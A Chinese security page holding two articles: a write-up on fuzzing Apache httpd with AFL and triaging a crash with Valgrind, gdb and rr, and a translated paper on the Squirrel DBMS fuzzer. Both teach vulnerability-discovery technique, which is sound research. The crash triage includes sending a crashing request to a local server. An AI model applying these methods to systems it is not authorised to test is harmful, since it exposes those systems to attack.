在AFL中查看了Apache
httpd服务器的崩溃日志之后，我发现了很多问题。比如说，某些崩溃的测试用例是在模糊测试工具内部崩溃的，而且还影响了被测试程序的稳定性。在这篇文章中，我会跟大家解释测试用例崩溃的原因，并且告诉大家我是如何发现这些漏洞的。
**测试用例**
**从维基百科收集到的测试用例
**
**Bash-fu Taos**
**Valgrind for triage**
**Valgrind + gdb**
**rr**
这些只是我使用AFL软件时所用的测试用例，而且我也没有使用非常复杂的测试用例（覆盖率不高）。为了能够设计出可以覆盖所有Apache
httpd服务器普通安装场景的测试用例，我想出了一种非常简单的方法从[
**维基百科的Header列表**](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Request_fields)
中爬取所有Header的方法。
**Bash-fu Tao 1**
我所做的第一件事就是将页面中“Request
Fields”标签下的两个表格复制粘贴到一个text文件之中，编辑器随便你自己选，只要你的编辑器不会将TAB（制表符）替换成空格就行，否则cut命令将会失效。
我将这个text命名为“wiki-http-headers”，然后运行下列命令（选取表格中的第三列进行操作，记住cut命令的默认分隔符为TAB）：
cat wiki-http-headers | cut -f3 | grep ":" | sed "s#Example....##g" | sort -u
我们可以看到，某些Header已经找不到了，例如TSVheader。我们现在可以忽略这些消失了的Header，然后继续进行我们的模糊测试，因为测试用例的覆盖率并不是我现在需要考虑的问题。其实在我们这个测试场景中，只要选出有针对性的测试用例就可以了。
**Bash-fu Tao 2**
接下来，我们需要对枚举每一个单独的Header，然后通过迭代的方式按行创建测试用例。可能有些非常喜欢使用Bash的用户已经知道这一步应该如何操作了，如果你是新手的话你可以使用下列命令来完成这一步任务：
a=0 && IFS=$'n' && for header in $(cat wiki-http-headers | cut -f3 | grep ":" | sort -u); do echo -e "GET / HTTP/1.0rn$headerrnrn" > "testcase$a.req";a=$(($a+1)); done && unset IFS
我需要解释一下，这里有一个叫做内部字段分隔符（IFS）的东西，它是一个环境变量，其中存储了Bash中用于进行字段划分的token。Bash中默认的内部字段分隔符是空格符、制表符和换行符。当遇到空格符的时候，这些分隔符将会影响Header，因为我们需要在Bash中迭代表格中的字段，所以我们需要将内部字段分隔符设置成换行符。现在，我们就可以迭代表格中的数据域，然后将每一个Header单独输出到不同的文件中。
**Bash-fu Tao视频**
下面是测试用例的创建过程：
**模糊测试**
既然我们已经创建出了不少的测试用例（多为基本的测试用例），那现在我们就可以开始介绍渗透测试部分的内容了。这部分操作还是比较简单的，大致分为如下几步：
1\. 下载[ **apr**](https://apr.apache.org/) 、[ **apr-utils**](https://apr.apache.org/) 、[
**nghttpd2**](https://github.com/nghttp2/nghttp2) 、[
**pcre-8**](ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/) 和[
**Apache httpd 2.4.25**](https://httpd.apache.org/download.cgi) ；
2\. 安装下列依赖组件：
a) sudo apt install pkg-config
b) sudo apt install libssl-dev
3\. [**修复Apache
httpd**](https://gist.github.com/n30m1nd/ec19fc17c6293be303b85a998cd05aa9) ；
4\. 用正确的环境变量和安装路径进行[
**编译**](https://gist.github.com/n30m1nd/14418fd425a3b2d14b64650710fae301) ；
安装完上面这些依赖组件并配置好Apache服务器之后，我们就可以准备开始对Apache
httpd进行模糊测试了。你可以从下面这段演示视频中看到，我们只需要对测试用例进行小小的改进就能够迅速导致程序出现崩溃：
需要注意的是，在上面这个演示视频中我小小地作弊了一手，因为我已经导入了一个我确定能够迅速引发程序出现崩溃的测试用例。在检测的过程中，我使用了honggfuzz、radamsa和AFL。
**程序崩溃**
重要的事情放在第一位。当我们得到一个能够引发程序发生崩溃的测试用例之后，我们必须要确定这个测试用例的假阳性。测试情况请看下面的演示视频：
额…好像这个测试用例并不是很好用，发生了什么呢？
**解决问题**
我们需要测试下面几个因素…
首先，我们的渗透测试是在持久模式（Persistent Mode）下进行的：
这也就意味着，我们的测试用例的确让程序崩溃了，但有效的测试用例数量不多。在我们的测试过程中，__AFL_LOOP变量的值被设置成了[大于9000](https://gist.github.com/n30m1nd/ec19fc17c6293be303b85a998cd05aa9#file-apatching_for_afl_persistent_fuzzing-diff-L79)（说实话这个值太大了）。这个值是AFL在重启整个过程之前所需要运行迭代模糊测试的次数。所以最终AFL所发现的测试用例都将会在最差的环境下被运行。比如说：在前8999次所使用的测试用例都没有引发程序崩溃，而第9000次输入引发了程序崩溃。
第二个需要考虑的因素就是AFL报告的可靠性：
一般来说，导致结果可靠性较差的原因可能是代码中使用了随机值（或date函数），或者是使用了未初始化的内存。
第三点就是分配给我们模糊测试进程的内存大小：
在我们的测试环境中，由于我们使用了“-m none”参数，所以可用内存是无限的，但在其他情况下这将有可能导致堆栈溢出或访问未被分配的内存空间。
为了测试我们的第一种假设，我们还需要更多的测试用例。演示视频如下：
现在我们将注意力转移到第二个假设上。
稳定性和可靠性：
在进行模糊测试的过程中，我们会发现随着AFL引入越来越多的测试用例，其结果的可靠性也在不断下降，所以我们可以认为程序崩溃也许跟内存有关。为了测试我们是否使用了未经初始化的内存，我们可以使用下面这款名叫Valgrind的工具。
[**Valgrind**](http://valgrind.org/)
是一款能够对软件进行动态分析的工具，它由一系列操作指令组成。在Debian平台上的安装命令如下：
sudo apt install valgrind
安装完成之后，我们需要通过Valgrind运行Apache服务器：
NO_FUZZ=1 valgrind -- /usr/local/apache-afl-persist/bin/httpd -X
在下面的演示视频中，我们对第二种假设进行了验证：
我们能确定的是，Apache httpd的确使用了未初始化的值，但令我不爽的是Apache并没有因此发生崩溃，所以我打算使用之前的Bash-fu Tao
2来迭代每一个测试用例，然后对Apache进行测试。
演示视频如下：
非常好，Apache httpd终于崩了。接下来，我们就可以对崩溃信息进行简单的分类了。
**分类**
现在我们需要对错误信息进行快速分析，然后找出那个引发崩溃的Header。
**gdb + valgrind**
首先，我们要在Shell窗口中运行下列命令：
NO_FUZZ=1 valgrind --vgdb-error=0 -- /usr/local/apache_afl_blogpost/bin/httpd -X
然后在另外一个Shell窗口中，我们需要发送下列输入信息来触发漏洞：
cat crashing-testcase.req | nc localhost 8080
最后在第三个Shell窗口中，我们可以运行gdb和valgrind的命令：
target remote | /usr/lib/valgrind/../../bin/vgdb
现在我们可以看看Apache的内部到底发生了什么，下图为Valgrind生成的错误报告：
从上图中可以看到，错误行为第1693行。由于变量s在递增的过程中没有进行检测，所以当它指向一个空值的时候便会导致程序崩溃。接下来请看下面这张截图，别忘了上图中的0x6e2990c和8749。
我们可以看到，变量conn的地址为0x6e2990c，分配地址为8192字节，但8749这个大小已经远远超出了8192。
**rr-记录 &重放框架**
在下面这个视频中，我们演示了如何利用功能强大的[ **rr框架**](https://github.com/mozilla/rr)
来记录错误信息并重现程序崩溃：
**总结**
在这篇文章中，我们介绍了如何高效地从网上爬取测试用例，大家需要有些自信，虽然一个软件可能已经有很多人对它进行过渗透测试了，但我们仍然可以配合一些牛x的工具来找出其他人找不到的漏洞。这个漏洞的奖励金额为1500美金，我之后打算将这1500美金全部捐给某个可以教小孩子互联网技术的学校。 | 社区文章 |
# Squirrel：利用语义有效性和覆盖反馈来测试数据库管理系统
|
##### 译文声明
本文是翻译文章，文章原作者 Rui Zhong，Yongheng Chen， Hong Hu，Hangfan Zhang，Wenke Lee，Dinghao
Wu*，文章来源：ACM CCS 2020（Nov）
原文地址：<https://arxiv.org/ftp/arxiv/papers/2006/2006.02398.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
这是一篇会议论文，提出了针对DBMS的一种模糊测试框架SQUIRREL，效果显著优于其他的模糊器。
## 0 摘要
模糊测试是一种越来越流行的用于验证软件功能和寻找安全漏洞的技术。然而，现在的基于突变的模糊器（Fuzzer）不能有效地测试数据库管理系统（DBMS），因为数据库管理系统对于有效的语法和语义有着严格的检查。基于生成的测试可以保证输入的语法正确性，但是它不利用任何反馈（例如代码覆盖率）来指导路径探索。
在本文中，我们开发了SQUIRREL，这是一个新颖的模糊框架，考虑了语言的有效性和覆盖反馈来测试数据库管理系统。我们设计了一个中间表示（IR），以结构化和信息丰富的方式维护SQL查询。为了生成语法正确的查询，我们在IR上执行基于类型的突变，包括语句插入，删除和替换。为了减轻语义错误，我们通过分析每个IR来确定参数之间的逻辑依赖性，然后生成满足这些依赖性的查询。我们在四个流行的数据库管理系统上测试了SQUIRREL：`SQLite,MySQL,PostgreSQL,MariaDB`。
_SQUIRREL_
发现了`SQLite`的51个漏洞，`MySQL`和`MariaDB`则分别是7个和5个。其中，有52个是已经修复了的，有12个具有CVE编号。在我们的实验中，与最新的模糊测试相比，
_SQUIRREL_ 的语义正确性提高了2.4-243.9倍，与基于变异的工具相比，它所探寻的新边缘（Edges）增加了2.0-10.9倍。这些结果表明，
_SQUIRREL_ 可有效地发现数据库管理系统中的内存错误。
## 1 介绍
数据库管理系统（DBMS）是现代数据密集型系统的组成部分。与所有其他复杂系统一样，DBMS也会出现许多错误，这些错误不仅会影响其功能，而且还可能导致恶意攻击。在所有威胁中，臭名昭著的内存错误漏洞使攻击者能够泄漏甚至破坏正在运行的DBMS进程的内存，这最终可能导致远程代码执行，数据库违规（breach），或者拒绝服务。例如，最近的“Collection＃1”数据泄露揭示了7.73亿个电子邮件地址和210亿个密码。
基于生成的测试技术是DBMS的事实上的错误查找工具，这些技术要求开发人员创建一个正式模型，以精确地定义SQL（结构化查询语言）。该工具基于该模型枚举所有可能的SQL查询，以验证DBMS的功能或查找错误。
但是，基于生成的测试工具的有效性有限，因为它们将工作量平均分配给每个SQL查询。考虑到无限的输入空间和罕见的错误触发查询，这种类似蛮力的枚举无法有效地从DBMS中查找内存错误漏洞。
近年来，模糊测试已被广泛用作检测内存错误漏洞的软件测试技术。与基于生成的测试不同，模糊测试依靠随机突变来创建新的测试用例，并利用诸如代码覆盖率之类的反馈来指导输入空间探索。从种子主体开始，模糊器会随机更改现有输入（例如翻转几位）以生成略有不同的变体。它使用新的输入运行目标程序，并检测异常行为，例如执行崩溃和断言失败。
在执行期间，模糊器还会记录代码路径信息，例如执行的块或分支。触发新代码路径的输入具有更高的优先级，可以选择用于另一轮变异。通过花费大量的精力来提高模糊的效率和功效，模糊器已经成功地从流行的应用程序中发现了数千个错误。
但是，将模糊测试技术用于测试DBMS具有挑战性，因为DBMS在执行SQL查询之前执行两项正确性检查，即语法检查和语义检查。
具体来说，DBMS首先解析每个SQL查询以获得其语法含义。 如果查询中有任何语法错误，则DBMS将停止执行，并立即通过错误消息来提示。
否则，DBMS会进一步检查查询中是否存在语义错误，例如使用不存在的表，并且在出现语义错误的任何情况下会停止。
经过这两项检查后，DBMS将创建多个执行计划，并选择最有效的执行计划来执行查询。 因此，为了达到DBMS的深层逻辑，查询应在语法和语义上正确。
当前的模糊测试技术使用的随机字节突变无法轻易生成语法正确或语义正确的输入。 例如，基于突变的代表性模糊器AFL 可以在24小时内生成2000万个SQLite
查询，但只有30％的查询可以通过语法检查，而4％的查询具有正确的语义。
但是，大多数DBMS代码负责查询计划的构建，优化和执行，只有一小部分用于语法检查和语义检查。
例如，AFL生成的20,000个语义正确查询触发了SQLite中的19,291条代码分支，而相同数量的语法错误查询仅覆盖9,809条分支，仅占前者的50.8％。
因此，当前的模糊技术无法触发DBMS的深层逻辑，也无法全面探索程序状态。
在本文中，我们提出了一个Squirrel系统来应对这些挑战，以便我们可以有效地模糊DBMS。
我们的系统嵌入了两项关键技术，即保留语法的变异和基于语义的实例化。为了生成语法正确的SQL查询，我们设计了一个中间表示（IR），以结构化和信息丰富的方式维护查询。每个IR语句最多包含两个操作数，每个操作数也是另一个IR语句。每个IR具有指示语法结构（例如，SELECT
a FROM
b）的结构类型和数据类型（例如，表名称）。进行突变之前，我们的系统会从IR中剥离具体数据，仅保留操作的框架。然后，我们执行三个随机突变，包括插入类型匹配的操作数，删除可选操作数或用其他类型匹配的操作数替换操作数。基于类型的变异确保了生成的查询具有正确的语法。接下来，我们执行查询分析以找出不同IR数据之间的预期依赖关系。例如，SELECT子句中的数据应该是FROM子句中表的列。我们用具体数据填充每个剥离的IR，并确保它们满足所有预期的依赖性。最后，我们将IR转换回SQL，并将其提供给DBMS进行测试。
Squirrel结合了基于覆盖的模糊测试（即指导性探索）和基于模型的生成（即高语言正确性）的优势，因此可以触发DBMS的深层逻辑并发现严重的错误。
我们用 **43,783** 行C ++代码实现了Squirrel，主要集中在保留语法的变异和语义指导的实例化上。
我们将AFL的代码重复用于覆盖率收集和输入优先级划分。 我们对Squirrel的设计是通用的，经过一些工程工作，它应该可以与其他模糊测试器一起使用。
为了了解我们系统的有效性，我们使用Squirrel测试了四个流行的DBMS：SQLite，MySQL，PostgreSQL和MariaDB。
Squirrel在40天内成功发现了63个内存错误问题，其中包括SQLite中的51个错误，MySQL中的7个错误和MariaDB中的5个错误。
相比之下，Google OSS-Fuzz在40个月内检测到19个来自SQLite的错误，在5个月内检测到来自MySQL的15个错误。
我们已经以负责任的态度向DBMS开发人员报告了所有这些错误，并获得了积极的反馈。 在撰写本文时，已修复了52个错误。
由于严重的安全后果，例如窃取数据库内容，我们甚至可以获得12个错误的CVE编号。
我们检查了模糊测试的各个方面，并将Squirrel与其他先进的工具进行了比较，包括基于突变的模糊器AFL和Angora，基于生成的工具SQLsmith，结构模糊器GRIMOIRE和混合模糊器QSYM。
在24小时的测试过程中，Squirrel成功地发现了9个独特的错误，而其他错误则检测到了一个或零个错误。
与基于突变的工具相比，Squirrel发现了2.0-10.9倍的新边缘，并且获得了与基于生成的测试器SQLsmith相当的结果。
与其他工具相比，它的语义正确性也高2.4-243.9倍。
我们在本文中做出了以下贡献：
* 我们提出了保留语法的变异和语义指导的实例化，以解决使DBMS模糊化的挑战。
* 我们实现了Squirrel，这是一个将变异和生成结合起来以检测DBMS错误的端到端系统。
* 我们在实际的DBMS上评估了Squirrel，并确定了63个内存错误问题。 结果表明，在从DBMS查找错误时，Squirrel优于现有工具。
我们计划发布Squirrel的代码，以帮助DBMS开发人员测试其产品，并加强对DBMS安全的未来研究。
## 2 问题定义（Problem Definition）
在本节中，我们首先简要描述DBMS如何处理SQL查询。 然后，我们介绍现有的DBMS测试技术，并说明它们在查找深层逻辑中的隐藏错误时的局限性。
最后，我们提出解决这一问题的见解。
### 2.1 DBMS中的查询过程
> 图1：测试DBMS的挑战.DBMS采取四个步骤来处理一个SQL查询。 其中，parse检查语法正确性，而validation检查语义有效性。
> 随机变异不太可能保证语法正确性，而基于语法的生成可能无法确保语义正确性。
现代DBMS通常以四个阶段处理SQL查询： **解析，验证，优化和执行**
，如图1所示。在收到SQL查询之后，DBMS首先解析查询以获取其语法含义。解析器将查询分解为单独的标记，并对照语法规则检查它们。如果检测到任何语法错误，DBMS将立即终止执行并将错误消息返回给客户端。其次，DBMS在验证阶段检查查询的语义正确性，例如数据库中是否存在表或表中的列是否明确。在此阶段可以检测到大多数语义错误。接下来，在优化阶段，查询优化器构造几种可能的查询计划，并尝试确定执行给定查询的最有效计划。最后，DBMS在数据库上执行选定的计划，并将结果发送回客户端。因此，仅在查询语法正确的情况下，执行才会进入第二阶段，而在查询语义正确的情况下，执行将进入最后两个短语。
**Motivating Example.** 图1中的“原始查询”首先连接两个表t1和t2，并搜索t1的c1列与t2的c5列相同的行。
对于每个匹配的行，查询将返回c2和c6的值。 DBMS发现此查询通过了语法检查和语义检查。 它在数据库中搜索，最后返回“ alice read”。
### 2.2 测试DBMS的难点
生成SQL查询以测试DBMS的方法主要有两种：基于模型的生成和随机变异。 基于模型的生成遵循精确的语法模型，因此可以构造语法正确的输入。
例如，流行的DBMS测试工具SQLsmith直接从抽象语法树（AST）生成语法正确的测试用例。但是，在没有任何指导的情况下，基于模型的生成顺序扫描整个输入空间。考虑到许多查询是由DBMS以相同的方式处理的，因此该方法无法有效地探索程序的状态空间。
此外，基于生成的方法几乎不能保证语义的正确性，并且在验证过程中，DBMS会过滤掉语义不正确的查询。 图1显示了由生成器（生成后）构造的查询。
尽管此查询在语法上是正确的，但由于当前数据库中不存在WHERE子句中的表t3，因此无法执行该查询。
随机突变更新现有输入以生成新输入。为了提高性能，模糊器利用先前执行的反馈来评估生成输入的优先级。如果反馈指示先前的输入很有趣，例如触发新的执行路径，则模糊测试人员会将其放入队列中以进行进一步的更改。这样，模糊测试者将收集越来越多有趣的测试用例，从而可以有效地探索程序的状态空间。统计数据表明，在许多软件中，具有反馈驱动的随机突变效果很好。例如，谷歌通过基于反馈的基于突变的模糊器发现了5,000多个漏洞。但是，盲语法突变策略在处理结构化输入（例如SQL和JavaScript）方面效率较低。例如，随机翻转SQL关键字的位几乎不会产生另一个有效关键字，并且整个查询在语法上将变得不正确。图1显示了这种情况（突变后），其中将SELECT中S的最后一位翻转会导致无效的关键字RELECT。
DBMS将在解析阶段拒绝新查询。
我们设计评估以了解AFL生成的SQL查询的质量以及语法正确性和语义正确性的重要性。
具体来说，我们使用AFL在24小时内测试SQLite，这会生成2000万个查询。 但是，只有大约30％的语法正确，只有4％的语法可以通过语义检查。
我们随机选择了20,000个语义正确的查询，并发现它们在SQLite中触发了19,291个不同的代码分支。
相同数量的语法不正确和语义不正确的查询分别分别到达9,809和12,811个分支。
这些结果表明：AFL生成的查询的验证率较低，以及语义正确性对于探索程序状态空间的重要性。
### 2.3 我们的解决方法
本文的想法是将语法正确和语义感知的变异引入模糊测试中，以便我们可以利用基于变异的技术和基于生成的机制来最大化测试DBMS的能力。
**生成语法正确的查询：** 我们设计了一个新的中间表示（IR），以结构化和信息化的方式维护SQL查询，并采用基于类型的变异来保证语法的正确性。
每个IR语句最多只包含两个操作数，因此，我们的突变只需要处理两个值。
每个语句都有一个关联的语法类型，例如SELECT语句的SelectStmt，而每个数据都有一个语义类型，例如表名。
我们的变异执行基于类型的操作，包括插入类型匹配的操作数、删除可选操作数以及用类型匹配的操作数替换操作数。
我们从每个IR中剥离具体数据（如表名），以专注于骨架的变异。 基于IR的突变有效地保留了语法正确性。 一些基于生成的工具从AST生成SQL查询。
但是，由于严格的类型约束和复杂的操作，对AST进行更改与修改SQL查询同样具有挑战性。
**提高语义的正确性：** 由于确保生成的SQL查询的语义正确性被证明是 **NP-hard** 的，因此我们将尝试实际的解决方案以尽可能提高语义正确性。
现有的基于生成的工具定义了一组查询模板。 每个模板代表一个完整的查询，并包含操作数之间的特定静态约束。
但是，由于人力有限，这些框架无法保证其SQL模板的可表达性。 我们通过动态查询实例化解决了这个问题。
给定语法正确的SQL查询的骨架（即没有具体的操作数），我们的方法首先根据预定义的基本规则构建其数据依赖图。
例如，SELECT的操作数可以是FROM中使用的表的列名。 然后，我们尝试用关系满足数据依赖图的具体操作数填充骨架。
通过实例化，语义正确率足以测试DBMS。
## 3 Squirrel概览
> 图2：SQUIRREL概览，Squirrel旨在查找使DBMS崩溃的查询。 Squirrel首先将查询从SQL转换为IR；
> 然后，它使IR突变以生成新骨架。 接着用具体的操作数填充骨架。 最后，它运行新查询并检测错误。
图2概述了我们的DBMS测试框架Squirrel。给定一组正常的SQL查询，Squirrel的目标是查找使DBMS崩溃执行的查询。查询意味着一个测试用例，并且可能包含多个SQL语句。
Squirrel从一个空的数据库开始，并且需要查询来创建内容。
Squirrel通过四个关键组件来实现其目标：Translator，Mutator，Instantiator和SQL
Fuzzer。首先，Squirrel从包含初始查询和保存的有趣查询的队列中选择一个查询。然后，Translator将查询`I`转换为IR的向量`V`。同时，转换器将中的具体值剥离，以使其成为查询框架。我们的Mutator通过插入，删除和替换来产生新的IR向量`'`–`'`在语法上是正确的。接下来，我们的Instantiator执行`'`的数据依赖关系分析，并建立一个数据依赖关系图。然后，Instantiator选择满足数据依赖性的新具体值，并用这些值填充`'`。由于满足了数据依赖性，所以，`'`在语义上可能是正确的。最后，我们将`'`转换回SQL查询`'`并在DBMS中执行`'`查询。如果执行崩溃，我们将找到触发错误的输入。否则，如果`'`触发了程序的新执行路径，我们会将其保存到队列中以进行进一步的变异。
## 4 中间表示
我们设计SQL的中间表示（IR）以支持语法正确的查询变异。 我们将每个查询从SQL转换为IR，对IR进行突变，然后将新的IR转换回SQL查询以执行。
我们对IR的设计旨在实现三个目标：IR可以代表任何SQL语句（ **表达性** ）； 中间表示IR的格式和运作是统一的（ **一般性** ）；
IR和SQL之间的转换非常有效（ **简单性** ）。
IR采用静态单一分配（SSA）形式。 一个查询或测试用例包含一个或多个IR语句。 每个语句都是一个赋值，其中左侧是目标变量，右侧是文字或带操作数的运算符。
我们在IR中添加以下字段以存储必要的信息。
> `ir_type:` 一个IR语句的类型。 此类型基于AST中的相应节点，例如列名称的colum类型或表达式的expr类型。
> 我们还定义了一个特殊类型“Unknown”来表示在AST中没有相应节点的中间语句。
>
> `operator:` 由SQL关键字和数学运算符组成。 它指示IR执行的操作，包括三部分：前缀op_prefix，间缀
> op_mid和后缀op_suffix。 例如，“ CREATE trigger BEGIN list
> END”的IR带有前缀CREATE，间缀BEGIN和后缀END。
>
> `left_operand, right_operand:` IR运算符的操作数。
> 操作数是另一个IR语句，或者操作数是可选的或不需要的话，则可以为NULL。
>
> `data_value:` IR携带的具体数据，例如表名t1。
>
> `data_type:` 数据类型，如ColumnName就代表列名。
我们在附录A中提供了IR语法的正式定义。下面是SQL语句“ **SELECT c2，c6 FROM t1，t2 WHERE t1.c1 = t2.c5**
”的IR示例：
> 图3：执行SQL查询的IR示例。相关的AST语法树见图4.
> 图4：执行示例的AST语法树。Squirrel解析SQL查询并以AST表示它，最后将AST转换为IR。
图3显示了图1中的有效示例的IR（原始查询）。
图4中给出了相应的AST。V1和V4表示列名称c2和c6，它们对应于图4中的节点1和4。它们不包含任何运算符或操作数，但具有ColumnName数据类型和适当的数据值
。 V2和V5定义对列（V1和V4）的引用，而V3和V6创建两个表达式，它们每个只有一个操作数。 V7描述了SELECT的参数列表，包括c2和c6。
V8代表SELECT子句，它可以将DISTINCT作为其左操作数（此处为NULL）。 SELECT出现在左操作数之前，因此它是运算符前缀。
**由于我们的IR最多只允许两个操作数** ，因此我们必须使用两个中间节点Va和Vb连接三个节点8、14和25来构造SelectStmt的IR。
它们的ir_types设置为“Unknown”。 最后，V26定义了SELECT语句，它是图4中的节点26。
我们的IR只是一系列分配语句。 这种线性表示形式不同于树或图形结构（如AST），可帮助开发人员采用统一且简单的突变策略。
我们可以在保持语法正确性的同时执行语句的插入，删除和替换。 我们在附录B中介绍了有关SQL查询和IR之间转换的算法。
## 5 保留语法的变异
我们根据功能将SQL查询中的令牌分为两组。 SQL关键字和数学运算符定义要执行的操作，我们称这些标记为 **结构令牌** 。
其他标记指定已定义操作的目标，我们称它们为 **数据令牌** 。 数据可以是具有基本意义的文字，例如常量1，也可以表示语义，例如表名。
我们观察到，更改结构令牌比更改数据令牌对DBMS执行的影响更大。 差异来自两个原因。
首先，更改结构将更改查询的操作，从而触发不同的功能，而DBMS可能使用相同的逻辑来处理不同的文字数据。 例如，SQLite使用几乎相同的路径来处理
**查询A：“ SELECT c FROM t WHERE c = 1”** 和 **查询B：“ SELECT c FROM t WHERE c =
10”** ，但是使用明显不同的代码来处理 **查询C：“ SELECT c FROM t WHERE c >1“**开始。
其次，随机修改与语义相关的数据很可能会生成一个语义上不正确的查询，DBMS将拒绝执行该查询。 例如，用另一个表中的列替换查询A中的c会导致无效查询。
无论哪种情况，随机数据突变的效率都低于随机结构突变。
因此，我们从查询IR中剥离数据，并将变异主要应用于结构。 我们将在第6部分中讲数据修改。
### 5.1 数据结构分离
我们遍历IR，根据类型为data_type的预定义值替换每个数据。 具体来说，我们将 **语义数据替换为字符串“ x”** ，将
**常数更改为1或1.0** ，并将 **所有字符串更新为“ a”** 。 因此，在分离之后，正在运行的示例“ SELECT t2，c6 FROM
t1，t2 WHERE t1.c1 = t2.c5”变为“ SELECT x，x FROM x，x，WHERE x.x = x.x”。 查询A和B都变为“
SELECT x FROM x WHERE x = 1”，而查询C更改为“ SELECT x FROM x WHERE x> 1”。
**在库中存储IR：** 我们使用称为IR库的字典来存储各种IR。 字典的键是IR类型，而值是IR列表。
一个列表中的IR具有相同的类型，并且其结构完全不同。 例如，分离后，查询A，B和C具有相同的SelectStmt类型，它们应存储在相同的列表中。
我们从列表中删除查询B，因为它与A具有相同的结构。每当我们需要某种类型的IR时，我们都会从字典中找到相应的列表并随机返回一个元素。
在图2中，Squirrel接受种子查询以初始化IR库。 只要Squirrel发现生成的IR具有新结构，我们就会将其添加到库中的相应列表中。
我们对库中IR的最大数量设置了限制，以避免过多的内存使用。
### 5.2 基于类型的变异
我们定义了一组基于类型的突变，以更新IR或IR本身的左右操作数。
我们的突变集中在操作数上，因为IR的其他成员不能轻易更改：该运算符与IR类型密切相关，就像SelectClause
IR中的SELECT运算符一样，而data_type由其在查询中的位置决定，例如“ CREATE TABLE”必须是表名。
因此，我们的突变要么作用于整个IR，要么修改其操作数。 具体来说，对于IR程序中的每个IR : _v_ ，我们都以一定的概率执行以下突变：
> **插入** ：将IR添加到 _v_ 的适当位置。 如果 _v_ 的左孩子节点为空，我们从IR库中随机选择一个与 _v_ 共享相同类型的IR _w_ 。
> 如果 _w_ 的左孩子节点不为空，我们将其用作 _v_ 的左孩子。 相同的操作适用于右孩子节点。
>
> **替换：** 更改 _v_ 或其操作数。 我们首先从IR库中随机选择一个与类型相同的IR _w_ 。 然后，我们将 _w_ 的孩子复制到 _v_
> ，或者将 _v_ 替换为 _w_ ，并将所有 _v_ 的引用更新为 _w_ 。
>
> **删除：** 只需将一个IR– _v_ 替换为一个空的IR即可整体删除它。 可以对其子代执行相同的操作。
由于我们实质上是根据IR的类型来操作IR，因此语法正确性被保留的可能性很高。
为了进一步提高语法的正确性，我们将变异的IR转换回SQL查询，并使用解析器执行语法验证。 如果解析成功，我们得出结论该查询没有语法错误，将在下一阶段使用它。
否则，我们将丢弃新的IR，然后尝试生成另一个IR。
> 图5：IR程序的变异策略，包括基于类型的插入和替换，以及可选操作数的删除。
图5显示了对正在运行的示例的IR进行变异以生成三个新查询的示例。 具体来说，我们在V26的右子元素中插入ORDERBY子句，（因为）；
我们用CountClause替换V8的右子元素，其中新查询将对原始结果的行进行计数； 我们删除Vb的右子元素以有效删除WHERE子句。
这三个新的IR在语法上都是正确的。 **UnknownType：**
正如我们在§4中提到的，某些IR的类型为Unknown，因为它们在AST中没有相应的节点。
我们使用Unknown类型执行模糊类型匹配，而无需搜索具体类型，这可以加快查询的生成速度。 始终需要一次性解析的语法验证不受影响。
但是，如果没有精确的类型匹配，Squirrel可能会创建一些无效的查询。
## 6 语义引导实例化
语义正确的查询使模糊测试者可以深入了解DBMS的执行逻辑并有效地发现错误。
但是，对于模糊处理采用结构化，语义绑定输入的程序，生成语义正确的测试用例是一项尚未解决的挑战[44]。
先前的研究表明，由jsfunfuzz（一种最先进的JavaScript模糊器）生成的测试用例在语义上是无效的。 DBMS测试中也存在类似的问题。
我们提出一种数据实例化算法，以提高生成的SQL查询的语义正确性。 如§5所述，在进行突变后，IR程序是语法正确的框架，其中删除了数据。 我们的实例化程序
**首先分析不同数据之间的依赖关系，然后用满足所有依赖关系的具体值填充骨架。** 实例化之后，查询很有可能在语义上是正确的。
### 6.1 数据依赖推断
> 图6：数据依赖示例。 该示例由三个新的CREATE语句和我们正在运行的示例组成。 在“Relation”中，我们显示两种类型的关系：“
> isAnElement”（虚线）和“ isA”（实线）。
数据依赖性描述了语义绑定数据之间的关系。 任何不满足的依赖关系都将使查询无法通过语义检查。
图6显示了四个SQL语句之间的数据依赖关系，包括三个CREATE语句和我们的执行示例。 我们的语法正确的变异已将每个变量替换为x。
为了区分不同的x，我们为每个x分配一个索引。
这四个语句包含两种类型的关系：一种定义A是B（isAnElement）的元素，如x2所示的灰色虚线表示x1的列；
另一个描述A可以是B（isA），如x12所示的黑色实线可以是x1。
我们定义了一组规则，以自动推断查询中数据之间的依赖关系。 这些规则遵循两个原则。
生存期原则要求我们在使用SQL变量之前先创建它们，并在删除变量后停止使用它。 定制原则要求我们考虑数据类型，范围和操作来确定关系。
我们需要完善§4中提到的数据类型，以准确描述数据依赖性。
**数据类型：**
我们优化每种数据类型，以便它不仅描述语义含义，而且反映使用上下文。即使使用相同的基本类型，不同语句中的数据库元素也可以具有不同的依赖关系。基于生命周期原理，我们将定义/使用信息包含在数据类型中，以指示元素是新定义还是现有定义的使用。例如，CREATE
TABLE子句中的表将具有CreateTable类型，而FROM子句中的表将具有UseTable类型。根据自定义原则，我们还包括数据范围，以显示在哪里可以找到潜在的候选值。例如，FROM子句中的表可以是任何已定义的表，因此具有UseAnyTable类型，而WHERE子句中的表必须是FROM子句中的表之一，因此具有UseFromTable类型。变量的精确数据类型取决于其在AST中的位置。因此，Squirrel在查询解析和转换期间识别并设置数据类型。
图6显示了每个IR数据的精确类型。例如，x1是一个新定义的表，因此类型为CreateTable。 x2和x3的类型为CreateColumn。
x12具有UseAnyTable类型，因为它可以是任何已定义的表（x1，x4，x7），而x14只能是FROM子句中列出的表。
x10可以是FROM中表的任何列，而x15只能是表x14中的列。
**数据关系规则：** 使用精炼的数据类型，我们可以进一步定义数据关系规则，以帮助自动推断数据依赖性。 关系规则是四个元素的元组（A，B，C，D）
：A是关系目标，B是关系源；C定义关系；D表示关系的范围，
包括针对同一语句中的关系的intraStmt，针对多个语句的关系的interStmt，对于任何实例都适用，而对于根据Define-Use链最短路径的元素而言，最接近。
我们为所有DBMS定义了八条通用规则，为SQLite定义了一条附加规则，为MySQL定义了两条附加规则，为MariaDB附加了两条附加规则，为PostgreSQL附加了一条附加规则。
例如，关系规则（UseFromTable，UseTableColumn，isAnElement，nearest）意味着UseTableColumn类型的数据是同一语句中具有UseFromTable类型的最近数据的元素。
在图6中，我们可以使用此关系规则推断x15和x14之间的关系。
**依赖图：** 利用数据类型和关系，Squirrel会为每个突变的IR程序自动构造一个依赖图 _G_ = _{V,E}_ 。
中的每个节点都是IR数据及其数据类型。 _E_ 中的每个边缘描述了从边缘源到目标的一种关系。
